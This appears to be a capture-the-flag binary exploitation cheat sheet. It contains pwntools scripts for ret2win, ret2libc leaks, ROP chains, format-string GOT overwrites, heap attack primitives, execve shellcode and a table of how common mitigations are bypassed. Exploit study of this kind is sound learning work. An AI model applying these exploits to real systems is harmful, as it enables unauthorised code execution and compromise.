checksec ./challenge # Output example: # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found ← easier BOF # NX: NX enabled ← no shellcode on stack # PIE: No PIE ← fixed addresses # RUNPATH: ./ # No canary + No PIE + No NX → classic ret2win # No canary + No PIE + NX → ROP chain # PIE enabled → need leak first # Full RELRO → can't overwrite GOT
# Generate cyclic pattern (pwndbg / pwntools) cyclic 200 # Run program with pattern, crash it # pwndbg shows: "SIGSEGV: Invalid address 0x6161616e" cyclic -l 0x6161616e # → offset = N # Or: use GDB + pwntools python3 -c " from pwn import cyclic, cyclic_find payload = cyclic(200) # run, get crash address, then: print(cyclic_find(0x6161616e)) " # Manual: fill with A's until crash, binary search python3 -c "print('A'*200)" | ./challenge
# Find win/flag function address nm challenge | grep "win\|flag\|shell" objdump -d challenge | grep -A2 "<win>" # Build payload python3 -c " from pwn import * offset = 40 # from cyclic_find win_addr = 0x401234 # from nm/objdump payload = b'A' * offset payload += p64(win_addr) # 64-bit # payload += p32(win_addr) # 32-bit p = process('./challenge') p.sendline(payload) p.interactive() "
# Need: libc base, system(), /bin/sh string # Step 1: leak libc address via puts(got[puts]) # Step 2: calculate libc base # Step 3: call system("/bin/sh") python3 -c " from pwn import * elf = ELF('./challenge') libc = ELF('./libc.so.6') # or find version rop = ROP(elf) # Leak step pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = elf.sym['main'] payload = b'A' * offset payload += p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) payload += p64(main) # return to main for round 2 p = process('./challenge') p.sendline(payload) p.recvuntil(b'\n') leak = u64(p.recv(6).ljust(8, b'\x00')) libc.address = leak - libc.sym['puts'] # Round 2: send system('/bin/sh') "
# ROPgadget ROPgadget --binary challenge ROPgadget --binary challenge --rop ROPgadget --binary challenge | grep "pop rdi" ROPgadget --binary libc.so.6 | grep "pop rdi ; ret" # ropper ropper -f challenge ropper -f challenge --search "pop rdi" # pwntools ROP (auto-chain) python3 -c " from pwn import * elf = ELF('./challenge') rop = ROP(elf) rop.call('puts', [elf.got['puts']]) rop.call('main') print(rop.dump()) print(rop.chain()) "
| Gadget | Purpose |
|---|---|
| pop rdi ; ret | Set arg1 (x86-64 calling convention) |
| pop rsi ; ret | Set arg2 |
| pop rdx ; ret | Set arg3 |
| ret | Stack alignment (needed before system()) |
| pop rbp ; ret | Leave/enter stack frame |
| syscall | For raw syscall ROP chains |
| mov [rdi], rsi | Write memory |
# x86-64 syscall numbers # 0 = read, 1 = write # 2 = open, 59 = execve # execve("/bin/sh",0,0): rax=59, rdi=ptr, rsi=0, rdx=0
# Detect: program echoes your input # Input: "%x %x %x" → prints stack values → vulnerable # Leak stack values (find offset to canary/addr) %1$p %2$p %3$p %4$p ... # direct arg access AAAA.%p.%p.%p.%p.%p.%p # find offset of 0x41414141 # Leak specific offset (e.g. canary at offset 11) %11$p # Arbitrary read (leak address at ptr) python3 -c " from pwn import * payload = p64(target_addr) + b'%8$s' # 32: p32 + %7$s " # Arbitrary write — %n writes count of chars printed # Write 0x41 to address: print 0x41 chars, then %n python3 -c " from pwn import * # fmtstr_payload(offset, {addr: value}) payload = fmtstr_payload(6, {target: 0x1337}) "
# Classic: overwrite GOT entry of printf → system # Then next printf("/bin/sh") calls system python3 -c " from pwn import * elf = ELF('./challenge') libc = ELF('./libc.so.6') # for system addr # Get addresses printf_got = elf.got['printf'] system_addr = libc.sym['system'] # after leak # Write system addr over printf GOT payload = fmtstr_payload(offset, {printf_got: system_addr}) " # Find format string offset quickly python3 -c " from pwn import * p = process('./challenge') for i in range(1, 30): p.sendline(f'AAAA.%{i}\$x'.encode()) r = p.recvline() if b'41414141' in r: print(f'offset = {i}') break "
| Vuln | Primitive | Attack |
|---|---|---|
| Use-after-free | Read/write freed chunk | Tcache/fastbin poisoning |
| Heap overflow | Write past chunk boundary | Corrupt next chunk metadata |
| Double free | Free same chunk twice | Tcache/fastbin dup |
| Off-by-one | Write 1 byte past end | Modify next chunk size |
| Null byte poison | Write null past end | Consolidate chunks |
heap # show all heap chunks bins # show all freelist bins vis_heap_chunks # visual heap layout arena # main arena info malloc_chunk addr # parse chunk at addr find_fake_fast addr # find fake fastbin chunk # Tcache (glibc >= 2.26) — 7 chunks per bin # Protected by key in fd (glibc >= 2.32) # Safe-linking: ptr ^ (addr >> 12)
# pwntools shellcraft python3 -c " from pwn import * context(arch='amd64', os='linux') sc = shellcraft.sh() # /bin/sh sc = shellcraft.cat('/flag') # read file print(asm(sc).hex()) " # msfvenom msfvenom -p linux/x64/exec CMD=/bin/sh -f raw > sc.bin msfvenom -p linux/x64/exec CMD="cat /flag" -f python # Manual x86-64 execve /bin/sh python3 -c " sc = ( b'\x48\x31\xf6' # xor rsi, rsi b'\x56' # push rsi b'\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68' # mov rdi,'/bin//sh' b'\x57' # push rdi b'\x54\x5f' # push rsp; pop rdi b'\x6a\x3b\x58' # push 59; pop rax b'\x99' # cdq (rdx=0) b'\x0f\x05' # syscall ) print(sc.hex()) "
| Constraint | Bypass |
|---|---|
| No null bytes | Use XOR reg,reg instead of mov reg,0 |
| Alphanumeric only | Encoder (metasploit alpha_mixed) |
| Limited length | Stage 2: read() more shellcode |
| No NX (writable+exec) | JIT spray, mprotect trick |
| Filtered chars | Polymorphic encoding |
# Check shellcode for bad bytes python3 -c " sc = bytes.fromhex('...') bad = [b for b in sc if b == 0] print('null bytes at:', [i for i,b in enumerate(sc) if b==0]) "
from pwn import * # Process / remote p = process('./challenge') p = remote('host', 1337) # Send p.send(payload) # no newline p.sendline(payload) # adds \n p.sendafter(b'> ', data) # Receive p.recv(n) # n bytes p.recvline() # until \n p.recvuntil(b'> ') # until string p.recvall() # all output p.interactive() # manual shell # Pack integers p64(0xdeadbeef) # little-endian 64-bit p32(0xdeadbeef) # 32-bit u64(b'\xef\xbe\xad...') # unpack
# ELF introspection elf = ELF('./challenge') elf.sym['main'] # symbol address elf.plt['puts'] # PLT entry elf.got['puts'] # GOT entry elf.search(b'/bin/sh') # find bytes next(elf.search(b'/bin/sh')) # ROP rop = ROP(elf) rop.find_gadget(['pop rdi', 'ret'])[0] rop.call('puts', [elf.got['puts']]) rop.chain() # bytes # libc database context.binary = elf libc = ELF('./libc.so.6') libc.address = leak - libc.sym['puts'] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh'))
# Attach gdb on process start p = gdb.debug('./challenge', ''' break main continue ''') # Attach to running process gdb.attach(p, 'break *0x401234') # Context settings context.log_level = 'debug' # verbose context.arch = 'amd64' context.os = 'linux' # libc version finder # https://libc.rip — paste leaked addresses
| Mitigation | What it does | Bypass |
|---|---|---|
| NX / DEP | Stack/heap not executable | ROP chains, ret2libc, ret2plt |
| Stack Canary | Random value before return addr | Leak canary via format string, brute force (fork) |
| ASLR | Randomize memory layout | Leak address, brute (32-bit), ret2plt |
| PIE | Randomize binary base address | Leak binary addr, then calculate offsets |
| Full RELRO | GOT read-only after init | Can't overwrite GOT; target stack/hook instead |
| Partial RELRO | GOT writable | Overwrite GOT entries (classic fmt string attack) |
| FORTIFY | Safer versions of strcpy etc. | Use non-fortified functions or raw memory ops |
| Shadow Stack | Parallel copy of return addrs | Very hard; avoid ret addr overwrite entirely |
checksec — know mitigations
② file + strings — architecture + interesting strings
③ Find overflow offset: cyclic 200 → crash → cyclic -l addr
④ No PIE + No canary + No NX → ret2win
⑤ NX enabled → ROP: find pop rdi ; ret, build chain
⑥ PIE → need leak → format string or info leak gadget
⑦ %p.%p.%p → format string → leak stack → fmtstr_payload write GOT
⑧ Use libc.rip to identify libc version from leaked addresses